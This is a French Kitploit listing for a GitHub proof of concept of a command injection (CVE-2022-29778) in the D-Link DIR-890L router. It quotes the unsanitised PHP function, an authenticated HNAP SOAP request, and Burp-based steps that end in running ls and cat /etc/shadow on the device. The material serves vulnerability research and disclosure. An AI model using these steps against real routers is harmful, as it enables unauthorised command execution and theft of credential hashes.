Skip to content
KitploitKITPLOIT
OutilsBlog
Log in
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
DIR-890L-1.20-RCE — Analyse et PoC pour D-Link DIR-890L RCE (CVE-2022-29778) | Kitploit
Outils/GitHubGitHub/tyeyeah/dir-890l-1.20-rce
Sécurité des Systèmes EmbarquésSécurité IoTAnalyse des VulnérabilitésExploitationExploitation d'Applications WebCommandement et Contrôle
GitHubtyeyeah/dir-890l-1.20-rce

DIR-890L-1.20-RCE

Analyse et PoC pour D-Link DIR-890L RCE (CVE-2022-29778)

Voir le dépôt
19il y a 4 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

D-Link DIR-890L RCE

Version affectée : <= v1.22B01 Hotfix (dernière)

Firmware : Ici

Ce modèle a atteint la fin de son cycle de vie. Les ressources associées à ces produits ont cessé leur développement et ne sont plus prises en charge. D-Link Systems, Inc. recommande de retirer ces produits et de les remplacer par des produits recevant des mises à jour du firmware.

Vulnérabilité

Dans son firmware, on trouve une fonction getWOLMAC dans SetVirtualServerSettings.php

function getWOLMAC($ipv4addr)
{
	$cmd = "scut -p ".$ipv4addr." -f 3 /proc/net/arp";
	setattr("/runtime/wakeonlan/mac", "get", $cmd);
	$mac = get("", "/runtime/wakeonlan/mac");
	del("/runtime/wakeonlan/mac");
	return $mac;
}

La variable $cmd concatène $ipv4addr directement dans la commande sans filtrage, et elle est appelée dans

		$ipv4addr = get("x", "LocalIPAddress");
        ...
		if($description == "Wake-On-Lan")
		{
			$wolmac = getWOLMAC($ipv4addr);
			set($vsvr_entry.":".$InDeX."/wakeonlan_mac", $wolmac);
		}

Donc lorsque vous définissez $description (correspondant au nom du serveur virtuel) sur "Wake-On-Lan", une RCE (exécution de commande à distance) peut exister dans les pages relatives au serveur virtuel : /VirtualServer.html.

Exploitation

  • Cela nécessite une authentification, donc connectez-vous d'abord. Connexion Accueil

  • Ensuite, visitez la page du serveur virtuel (/VirtualServer.html) qui est inaccessible via le panneau. Serveur virtuel

  • Ajoutez une règle nommée Wake-On-Lan. Ajouter une règle Résultats de la règle

  • Lancez burpsuite avant de cliquer sur le bouton Enregistrer et capturez le paquet suivant : paquet

POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/xml
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/xml
SOAPACTION: "http://purenetworks.com/HNAP1/SetVirtualServerSettings"
HNAP_AUTH: A4A816AE6CF2AC5537B0EB390FFB591C 1436839665
Content-Length: 765
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/VirtualServer.html
Cookie: uid=ZeNYZag3Gw

<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
	<soap:Body>
		<SetVirtualServerSettings>
			<VirtualServerList>
				<VirtualServerInfo>
					<Enabled>true</Enabled>
					<VirtualServerDescription>Wake-On-Lan</VirtualServerDescription>
					<ExternalPort>1</ExternalPort>
					<InternalPort>1</InternalPort>
					<ProtocolType>TCP</ProtocolType>
					<ProtocolNumber>6</ProtocolNumber>
					<LocalIPAddress>192.168.0.100</LocalIPAddress>
					<ScheduleName></ScheduleName>
				</VirtualServerInfo>
			</VirtualServerList>
		</SetVirtualServerSettings>
	</soap:Body>
</soap:Envelope>
  • Préparez un serveur http puis : serveur python

  • Utilisez le module Repeater pour tester la RCE (exécution de commande à distance) : burpsuite

  • Et on obtient : résultat

  • Testez l'injection de commandes et lisez /etc/shadow : commande ls /busy/box résultat commande ls /busybox -al résultat commande cat /etc/shadow résultat

Télécharger l’outil